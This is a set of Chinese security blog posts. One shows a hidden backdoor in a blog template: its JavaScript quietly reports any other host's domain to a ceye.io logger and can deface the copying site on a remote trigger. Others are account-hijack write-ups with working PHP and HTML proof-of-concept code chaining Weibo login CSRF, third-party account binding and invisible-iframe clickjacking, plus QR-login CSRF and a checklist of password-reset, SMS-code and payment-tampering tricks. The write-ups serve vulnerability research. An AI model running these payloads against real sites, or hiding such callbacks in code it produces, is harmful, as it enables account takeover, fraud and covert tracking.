var reg = new RegExp(/gh0st.cn/);
var isok = reg.test(host);
if(!isok){
	var img = document.createElement("img");
    img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host;
    img.stytle.display="none";
    document.body.appendChild(img);
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange=function(){
        if(xhr.responseText == "YES"){
        	document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>");
        }
    }
    xhr.open("GET","http://webserver/isopen.txt",true);
    xhr.send(null);
}

Python 监控

利用ceye.io这个平台的API去实时监控,并且使用邮件发信通知。

导入Python模块 && 全局变量:

import smtplib,requests,json,urlparse,sys
from email.MIMEText import MIMEText
from email.Utils import formatdate
from email.Header import Header

log = {}

1.163邮件发信:

def send_mail(domain,ip):
	smtpHost = 'smtp.163.com'
	smtpPort = '25'
	fromMail = '邮箱账户'
	toMail = '邮箱账户,收信方'
	username = '邮箱账户'
	password = '邮箱密码'
	reload(sys)
	sys.setdefaultencoding('utf8')

	subject = u'博客监控到有人偷模板!'
	body = u"[小偷信息]\nDomain: {0} IP: {1}".format(domain,ip)

	encoding = 'utf-8'
	mail = MIMEText(body.encode(encoding),'plain',encoding)
	mail['Subject'] = Header(subject,encoding)
	mail['From'] = fromMail
	mail['To'] = toMail
	mail['Date'] = formatdate()

	try:
		smtp = smtplib.SMTP(smtpHost,smtpPort)
		smtp.ehlo()
		smtp.login(username,password)
		smtp.sendmail(fromMail,toMail.split(','),mail.as_string())
		print u"邮件已发送,监控信息:"
		print body
	except Exception,e:
		print e
		print u"发送失败,监控信息:"
		print body
	finally:
		smtp.close()

2.ceye.io API调用获取信息,个人中心可以看见API TOKEN,API使用方法

def dnslog_monitor():
	api = "http://api.ceye.io/v1/records?token=你的TOKEN&type=http&filter=myblog"
	r = requests.get(api)
	json_data = json.loads(r.text)
	for i in json_data['data']:
		query = urlparse.urlparse(i['name']).query
		sb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain']
		sb_ip = i['remote_addr']
		if sb_domain in log:
			pass
		else:
			log[sb_domain] = sb_ip
			send_mail(sb_domain,sb_ip)

3.main函数:

def main():
	while True:
		dnslog_monitor()

后门的运行

python脚本挂在服务器跑了一段时间,也发现了一个哥们又拿走了我的博客模板:

oh,no

让他”用”了一段时间,便将isopen.txt的内容改为了YES(即触发了后门),其后来也与我联系,并进行了和解。

写在最后的话

也是因为“重度洁癖”,决定将模板后门去除。望君尊重技术、分享、作者,共勉!

CSRF之你登陆我的账号#业务逻辑组合拳劫持你的权限

2018年4月28日 00:00

前言

这是一个理论上通杀很多大型企业网站的漏洞缺陷~

可能很多朋友点击来看见标题就觉得,这家伙在吹牛逼了我倒要看看这货能怎么吹,CSRF之登陆我的账号能有啥玩意危害?

先按奈住你心中不屑的情绪,听我慢慢道来~

通用业务功能分析

最近很喜欢挖一些通用漏洞(不是程序通用,而是功能通用),会经常拿着BAT三家以及其他一些大型网站进行业务功能点的对比,来看看有哪些是共用的功能点,这边列出以下的几条:

  1. QQ快捷登陆
  2. 微信快捷登陆
  3. 微博快捷登陆
  4. 其他……

0x00.png

OAuth2.0认证缺陷-快捷登陆账号劫持的问题具体可以参考:http://gh0st.cn/archives/2018-02-12/1 (来自i春秋社区

这种问题其实需要一定的运气因为很多的快捷登陆有state参数的干扰,所以是完全没办法去利用的。

在这里我尝试能不能挖到一个新的缺陷,在走正常的快捷登陆流程时我发现需要绑定这个网站的账号才可以正常的使用用户的功能,这时候反着想网站的用户中心是否有第三方的账号绑定?

这里找了大部分的网站都有这样的功能(第三方账号绑定,绑定了即可使用第三方账号直接登陆),找到了这个功能点就可以来测试,先走一遍正常的绑定流程:

  • 点击绑定第三方账号
  • 进入第三方账号绑定页面
  • (如果第三方账号是登陆状态)->需要点击授权按钮;(如果第三方账号是未登陆状态)->需要输入第三方的账号密码登陆->点击授权按钮

0x01.png

设立猜想

梳理了流程之后,一个很骚的思路就从脑子里蹦了出来:

有第三方账号绑定这个功能,登陆处也有第三方账号登陆功能,也就是说绑定第三方账号代表着权限分享给了第三方账号。

猜想建立->如果我有第三方账号所在网站的CSRF之你登陆我的账号缺陷,让受害者先登陆我的第三方账号(为了避免损失,我可以注册一个小号),然后绑定处也有CSRF绑定的缺陷或者点击劫持问题,那么我就可以让受害者绑定我的第三方账号,然后根据我的第三方账号来登陆受害者的账号,劫持到其权限。

0x02.png

验证猜想

流程

个人中心有这个第三方的账号绑定:

0x03.png

在这里QQ、github、微博、微信四个第三方账号绑定中我有了微博的CSRF之你登陆我的账号这个缺陷,所以这里测试下微博的第三方账号绑定。

页面有微博账号绑定的跳转链接:

0x04

通过这个链接进入了绑定的界面(未登陆微博):

0x05.png

通过这个链接进入了绑定的界面(已登陆微博):

0x06.png

当我授权绑定之后,微博发生了变化,管理中心->我的应用->我的应用:

0x07.png

会多出这个网站在里面,那么这个变化是对我们有利的,还是?

这里我解绑了微博,然后再使用这个已经授权了的微博进行绑定,发现居然不用点击授权了,直接就绑定了。

很显然,在这里这个便利解决了一些攻击的利用难度。

实现

我们现在具备的几个条件:

  1. 微博的CSRF之你登陆我的账号缺陷:

登陆你的微博,然后访问http://login.sina.com.cn/sso/crossdomain.php?action=login,会返回这样的内容给你:

0x08.png

其中arrURL对应的链接就是凭证登陆的~

  1. 你的微博已经授权过了要存在缺陷的网站(这里方便直接跳转而不用再去点击按钮!所以你可以先用自己的微博绑定下存在缺陷的网站的账号,然后解绑就行了~)
  2. 绑定请求存在csrf的缺陷(这里因为是GET请求类型 /oauth/weibo/redirect,而一般不会对GET请求类型进行CSRF的限制~~)

场景1.攻击步骤:

对方点开凭证链接登陆了你的微博,对方点开绑定微博的链接,绑定了你的微博,完成攻击。

考虑到凭证时效性的问题,在这里写了一个动态的PoC:

<?php
//get weibo login token
$curl = curl_init();
$cookie = "你微博的Cookie";
curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login');
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);
//echo $data;
$t = preg_match('/ticket=(.*?)&sso/', $data, $res);
$url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678";
?>

<html>
<head>
<style type="text/css"> 
.testframe {
	height: 100%;
} 
iframe {
	height: 100%;
	width: 100%;
	border: 0;
	margin: 0;
	padding: 0;
    /*控制不透明度的属性,兼容各大浏览器*/
    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
    -moz-opacity: 0; /*提供给火狐浏览器的*/
    -webkit-opacity: 0; /*提供给webkit内核的*/
    -khtml-opacity: 0; /*提供给KHTML内核的*/
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
    opacity: 0;
    /*控制不透明度的属性,兼容各大浏览器*/
}
</style>
</head>
<body>
<div class="testframe">
	<iframe id="test0" src="<?php echo $url;?>"></iframe>
</div>
<script>
function loadsrc(){
    document.getElementById("test0").src="https://gh0st.cn/oauth/weibo/redirect";
}
setTimeout("loadsrc()",2000);
</script>
</body>
</html>

场景2.攻击步骤:

有些网站可能是post请求限制了referer或者根本没有跳转的请求而是直接进入了微博的绑定界面,因为state参数的原因导致根本无法以这个绑定页面为链接的形式去做攻击~

可能有很多朋友就有疑问了,为什么我老是提到state参数?这个参数是干什么用的呢?这里参考下微博的OAuth2.0接口的开发文档:

http://open.weibo.com/wiki/Oauth2/authorize

0x09.png

是防止CSRF的,也就是说在这里如果绑定的链接是如下这样子的:

0x10.png

没有state参数验证的,那么你可以直接以此作为绑定链接,覆盖场景1中PoC里面的这个链接:https://gh0st.cn/oauth/weibo/redirect

好了,说了那么多跟场景2没用的话,切入主题来说说场景2的情况到底该如何完成攻击?

很简单我们可以使用点击劫持来完成攻击,如下动态的PoC:

<?php
//get weibo login token
$curl = curl_init();
$cookie = "你微博的Cookie";
curl_setopt($curl, CURLOPT_URL, 'http://login.sina.com.cn/sso/crossdomain.php?action=login');
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_COOKIE, $cookie);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);
//echo $data;
$t = preg_match('/ticket=(.*?)&sso/', $data, $res);
$url = "https://passport.weibo.com/wbsso/login?ticket={$res[1]}&ssosavestate=1556602678";
?>

<html>
<head>
<style type="text/css"> 
.testframe {
	height: 100%;
} 
iframe {
	height: 100%;
	width: 100%;
	border: 0;
	margin: 0;
	padding: 0;
    /*控制不透明度的属性,兼容各大浏览器*/
    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
    -moz-opacity: 0; /*提供给火狐浏览器的*/
    -webkit-opacity: 0; /*提供给webkit内核的*/
    -khtml-opacity: 0; /*提供给KHTML内核的*/
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
    opacity: 0;
    /*控制不透明度的属性,兼容各大浏览器*/
}
.btn {
    position: fixed;
    width: 70px;
    height: 22px;
    left: 167px;
    right: 0;
    display:block;
    top: 295px;
} 
</style>
</head>
<body>
<div class="testframe">
    <input type="button" class="btn" value="Click">
	<iframe id="test0" src="<?php echo $url;?>"></iframe>
</div>
<script>
function loadsrc(){
	document.getElementById("test0").src="https://gh0st.cn/usercenter/ubind";
}
setTimeout("loadsrc()",2000);
</script>
</body>
</html>

简单的说明下这个PoC的用处:

0x11.png

总结

可能把每一项单独的拎出来会发现这并没有缺陷,但是一旦参与到了业务逻辑中,就一定会存在一定的问题。

不要看不起一个看似没危害的漏洞甚至一个缺陷,因为你永远不知道它能发挥的巨大危害。

Web安全测试学习手册-业务逻辑测试

2018年4月18日 00:00

首先感谢朋友倾璇的邀请 http://payloads.online/archivers/2018-03-21/1 ,参与了的相关撰写,目前负责业务逻辑测试这一块的撰写,目前初步已经成型,先发出来让大家看看,欢迎点评,也可以加入我们一起来撰写~

业务逻辑测试

介绍:这里对Web应用业务逻辑方面的安全缺陷进行介绍和常见案例讲解。

任意用户密码重置

常见的缺陷

* 1.验证码类缺陷

-场景: 1.1 验证码回显在客户端(响应主体、Set-Cookie等等…)。

1.2 验证码过于简易时效性过长,接口未做限制(一般为纯数字4-8位数,时效性长达30分钟以上可以对验证码进行枚举)。

* 2.未校验权限/前端校验/越权

-场景: 2.1 任意手机号验证码都可重置任意账号。

2.2 修改响应包的主体(根据实际情况来修改 例如验证请求对应的响应报文的主体为false 你可以修改为true)。

2.3 同一浏览器进入A用户的重置,然后关闭再进入B用户的重置 而实际上重置A用户。

2.4 修改重置密码的相关参数(例如 userid等等…)。

* 3.HOST头伪造

-场景: 3.1 在邮箱找回密码的时候,可以简单替换Host部分进行Fuzz,看看找回密码的链接中的域名是否是根据Host来生成的如果是可以替换成自己的域名。但是这种思路很鸡肋,因为需要用户的点击,这样才可以根据日志看到重置密码的链接,万一重置密码的链接时效性过去就无奈了。

* 4.找回密码的凭证脆弱

-场景: 4.1 见过最多的是找回密码的token是base64编码的,而解码后的明文根据其规则修改就可以成为别人用户找回密码的凭证了。

验证码绕过

常见的缺陷

图形类验证码绕过

* 1.图形验证码可复用

-场景: 3.1 验证码刷新之后,而历史刷新的验证码还是可以继续使用。

3.2 验证码使用过后不刷新,时效性不过期,可以一直复用。

* 2.图形验证码易识别

-场景 4.1 很多验证码的显示很简单,容易被机器识别。

短信类验证码绕过

* 1.验证码过于简易&接口未限制

-场景: 1.1 有些手机短信验证码都为 4-8位 纯数字的验证码,在接口没有任何限制的情况下是可以直接爆破的。

* 2.验证码发送复用&时效性过长&接口未限制

-场景: 2.1 6位数验证码时效性为5分钟,但是在这里同一手机号发送的验证码都是一样的,所以可以在4分钟的时候重新发送一次验证码这样验证码就又有效了,因为验证码一直在被复用,所以可以爆破。

* 3.万能验证码

-场景: 3.1 这是很多大企业的诟病,在未上线前为了方便测试加了888888000000这样的万能验证码但是上线后没去删除测试的内容导致被恶意利用。

短信/语音验证码重放

无论是发送短信还是语音验证码来做验证,都是需要手机号的,而发送验证码实际上是需要成本的,需要跟运营商或者是第三方验证码平台进行合作,多数验证码为0.01元一条,当然也有更便宜的,所以这边的问题也会影响到一个企业的资产方面。

常见缺陷

* 1.无限制发送

-场景: 1.1 厂商对验证码发送这一块并没有进行限制时间发送

* 2.代码层逻辑校验问题

-场景: 2.1 很多厂商会对手机号进行限制,如果60秒内发送过就不会发送,但是程序员在设计代码层的逻辑时会出现很多奇葩的问题,例如其为了方便用户体验,正常的代码层的流程为:

a.去除用户手误输入的空格以及一些特殊符号

b.验证手机号是否发送过验证码

某些程序员会这样设计流程:

a.验证手机号是否发送过验证码(发送过则不放行 没发送过则进入下一步)

b.去除用户手误输入的空格以及一些特殊符号

c.发送手机号验证码

* 3.手机号可遍历发送

-场景: 3.1 我之前有提到验证码发送会影响到企业资产,那么发送验证码限制就不能仅仅针对于单一手机号的限制,例如我可以载入一堆手机号的字典,然后直接遍历发送验证码,这也是危害之一。

业务流程绕过

常见缺陷

* 1.无验证步骤跳跃

-场景: 1.1 出现的场景很多:密码重置步骤、支付步骤,对于这种的测试方法有很多中:

a.对比法,使用A、B两个账号,A账号先正常走一遍流程,然后记录流程的请求报文跟响应报文,使用B账号来测试是否能绕过直接进入最后一步骤。

b.第六感,假设步骤1的网址为:http://www.test.com/step1,这时候你可以凭借你的第六感修改下链接为/step2之类的来测试。

加密算法脆弱

常见缺陷

* 1.前端呈现加密算法代码

-场景: 1.1 很多厂商算法写的很好,可没用,因为他用的是JS代码,在前端会直接能看见,而尝试跟踪JS的代码就会知道是怎么加密的从而可以直接绕过。

* 2.算法脆弱,明文可判断

-场景: 2.1 这是一个看运气的问题,一段密文为md5的,这时候你要做好自己的分析明文到底是什么,然后去碰撞,例如可能是md5(用户名+邮箱)这样的的组合。

支付逻辑漏洞

常见缺陷

* 1.金额修改

-场景: 1.1 支付的过程中有很多涉及金额的元素可以修改运费、优惠价、折扣等,可以修改为负数金额也可以修改金额为小于原金额的数进行测试,有时候会遇到溢出,你修改金额为较大的数看你会出现只支付1元的情况。

* 2.数量修改

-场景: 2.1 修改购买物品的数量为小数或者负数,同上,有时候会遇到溢出,你修改数量为较大的数看你会出现只支付1元的情况。

* 3.sign值可逆

-场景: 3.1 这是一个看运气的问题,sign多数为对比确认金额的一段内容,很多都是md5加密的,这时候你要做好自己的分析明文到底是什么,然后去碰撞,例如可能是md5(订单号+金额)这样的的组合,然后修改金额重新生成sign就可以绕过金额固定的限制了。

条件竞争(HTTP并发)

常见缺陷

* 1.条件竞争(HTTP并发)

-场景: 1.1 在签到、转账、兑换、购买等场景是最容易出现这样的问题,而并发测试的方法可以使用Fiddler也可以使用BurpSuite Intruder模块。

这里例举下Fiddler测试方法(BurpSuite测试很简单就不说明了):

配置好代理,设置好拦截:

0x00.png

然后点击兑换、转账、签到等最后一步按钮的时候会抓到一个请求,右键这一请求然后按住Shift点击Replay->Reissue Requests:

0x01.png

填入要重发的次数:

0x02.png

一般为20即可,然后点击GO放行:

0x03.png

最后看你自己来判断是否存在并发的问题,例如签到,如果存在那么肯定是签到天数或者签到所获得的奖励会一下子有很多,也可以看Fiddler中的响应报文结果。

二维码登陆的常见缺陷剖析

2018年4月8日 00:00

二维码登陆的常见缺陷剖析

现在很多的电商平台和互联网型企业都有自己的手机APP,为了方便用户的体验,于是就有了”扫码登陆”这样的功能。看似扫码登陆,实际上还是基于HTTP请求来完成的。

了解扫码登陆步骤

标准的二维码登陆流程如下:

  1. 打开web界面进入登陆然后加载二维码
  2. 网站开始轮询,来检测二维码状态
  3. 打开手机APP进入”扫一扫”,扫描二维码
  4. 网站检测到二维码被扫描,进入被扫描后的界面,继续轮询来获取凭证
  5. 手机APP进入确认登陆界面
  6. (当点击确认登陆)网站轮询结束获取到了凭证,进入个人中心;(当取消登陆)网站轮询设定时间自动刷新页面。

常见缺陷剖析

0x00 非标准扫码登陆流程缺陷

非标准流程描述

扫描登陆的流程如果不按照标准来做也会存在很多问题,国内一些企业在处理这些的时候省略了如上所述的第五步骤和第六步骤,而是直接扫描后立即登陆。

分析非标准流程可能存在的问题

  • 可进行1:1比例诱导扫描

二维码是一张图片而图片是可以移植的,所以我们可以1:1克隆一个登陆页面来诱导用户进行扫描,这样就可以直接获取用户的权限了。

因为保密协议的问题,这里不对漏洞详情进行描述,简单的使用文字进行叙述:

在测试这种问题的时候,只需要按照步骤去测试下即可发现是否有相对于的问题,我一般会使用浏览器ctrl+s快捷键先克隆下来,因为这样会自带css和js等文件,剩下的只需要你处理一下就行了,也可以参考我之前的文章:微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限,方法类似就行,但是这里的微信二维码登录是基于OAuth2.0协议的,所以当用户点击之后,我只要获取到授权凭证链接就行了,而一般的二维码登陆是不基于OAuth2.0协议的,就需要处理好你的交互问题。

0x01 QRLJacking-二维码登陆劫持

2017年OWASP推出了这种攻击方式:https://www.owasp.org/index.php/Qrljacking

因为OWASP上有详细的介绍,所以在这里我就不以实际案例来说明了。

补充的一点是在0x00中我已经说明了之前一篇文章微信Netting-QRLJacking分析利用-扫我二维码获取你的账号权限,在这里我称之为Netting-QRLJacking是因为我们可以使用钓鱼网站方式的方法进行大面积撒网~而其实这里是利用了OAuth2.0的一个流程特征,我们想进行二维码登录劫持的时候也可以利用”扫码登陆”的流程特征。

之前已经把”扫码登陆”的流程说的很清楚了,我们知道其中一步轮询是用户点击确认登陆之后就通过轮询这个接口可以直接获得凭证,利用这个特点就行了。

小提示:整个流程划分为一个一个的接口来测试,你会更清楚的。

0x02 CSRF跨站请求访问

之在0x01说了,把整个流程划分为一个个的接口来测试,你就会更清楚,其实潜台词就是“你会发现更多漏洞”~

以一个实际例子来讲解:

在测试一个站点的时候遇到的问题,其扫码登陆的流程全部为GET类型请求:

  1. 打开web界面进入登陆然后加载二维码(http://www.gh0stdemo.cn/getqrcode 返回一段uuid 二维码的链接为 http://www.gh0stdemo.cn/qrcode?code=qrcode)
  2. 网站开始轮询,来检测二维码状态(http://www.gh0stdemo.cn/getqrlstate?code=qrcode)
  3. 打开手机APP进入”扫一扫”,扫描二维码(http://www.gh0stdemo.cn/qrcode?code=qrcode)
  4. 网站检测到二维码被扫描,进入被扫描后的界面,继续轮询来获取凭证(http://www.gh0stdemo.cn/getqrlstate?code=qrcode)
  5. 手机APP进入确认登陆界面(这步骤必须需要经过第四步骤之后才可以 http://www.gh0stdemo.cn/putqrlstate?code=qrcode)
  6. (当点击确认登陆)网站轮询结束获取到了凭证,进入个人中心;(当取消登陆)网站轮询设定时间自动刷新页面。

在这里我们可以构建这样的PoC:

<!DOCTYPE html>
<html>
<head>
	<title>PoC</title>
</head>
<body>
<script>
function loadsrc(){
	document.getElementById("test1").src="http://www.gh0stdemo.cn/qrcode?code=qrcode";
}
setTimeout('loadsrc()',1000);
</script>
<iframe id="test1" src="http://www.gh0stdemo.cn/putqrlstate?code=qrcode">
</iframe>
</body>
</html>

很简单的一个PoC就构成了,这里也确实存在CSRF的问题,可能在这里有人会想到攻击面得问题,仅仅只限于APP端?当然不,其实原理是一样得,都是把自己的凭证(Cookie)发出去,所以在电脑的web端只要登陆了一样可以完成攻击步骤~

当然在这里也有POST形式的CSRF,因为内容重复度过高就不一一举例了。

0x03 ClickJacking-点击劫持

点击劫持,视觉欺骗

根据扫码登陆的流程中我们可以看到有一个流程强制的要求了用户去点击确认登陆的按钮,但是这个界面往往没有做点击劫持的防范:

在我之前的一篇文章中详细讲了PoC的制作方法:http://gh0st.cn/archives/2017-12-20/1

之前跟一朋友在测试的时候发现了一些问题,有些网站用iframe标签引用进来,不会百分百的自适应,在这里我使用了div为父元素,如何再在div里面写入iframe这个子元素来自适应就行了。

<html>
<head>
<meta name="referrer" content="never">
<style type="text/css"> 
.testframe {
	height: 100%;
} 
iframe {
	height: 100%;
	width: 100%;
	border: 0;
	margin: 0;
	padding: 0;
    /*控制不透明度的属性,兼容各大浏览器*/
    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/
    -moz-opacity: 0; /*提供给火狐浏览器的*/
    -webkit-opacity: 0; /*提供给webkit内核的*/
    -khtml-opacity: 0; /*提供给KHTML内核的*/
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/
    opacity: 0;
    /*控制不透明度的属性,兼容各大浏览器*/
}
.btn {
    position: fixed;
    width: 97%;
    height: 42px;
    margin: 0 auto;
    left: 0;
    right:0;
    display:block;
    top: 815px;
} 
</style>
</head>
<body>
<div class="testframe">
	<input type="button" class="btn" value="Click">
	<iframe src="http://www.gh0stdemo.cn/qrcode?code=qrcode"></iframe>
</div>
</body>
</html>

示例结果:

/images/2018-04-08/0x00.png

结尾

本文没详细的去写,仅仅记录笔者的实践过程和心得。

❌
❌